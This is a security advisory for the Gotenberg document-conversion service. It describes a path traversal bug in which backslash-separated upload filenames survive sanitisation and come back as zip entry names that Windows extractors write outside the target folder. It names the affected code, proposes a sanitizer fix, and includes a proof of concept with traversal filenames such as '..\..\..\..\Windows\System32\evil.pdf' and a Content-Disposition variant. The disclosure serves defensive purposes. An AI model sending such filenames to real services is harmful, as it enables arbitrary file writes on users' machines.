Description

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472:

filename := norm.NFC.String(filepath.Base(fh.Filename))

On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim — there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:

originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)

Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/[email protected]/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") — the map value verbatim.

Suggested fix

- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)...
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The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done

# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf...
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Observed output:

HTTP=200  ctype=application/zip  bytes=24750
--- zip entries (orig_filename) ---
   '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
   '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f

The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)

To see the Windows-side traversal effect on a Windows host, run:

Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_1.pdf

PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.

Impact

Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory).

Reachable via every multi-output Gotenberg route — /forms/pdfengines/split, /forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate (when called with multiple input PDFs), /forms/libreoffice/convert with multiple inputs, /forms/pdfengines/convert.

Also reachable via downloadFrom upstream Content-Disposition: filename="..\\..\\evil.exe" — the filename flows through the same ctx.diskToOriginal map at pkg/modules/api/context.go:354, 393.

Mitigation

Aliases

References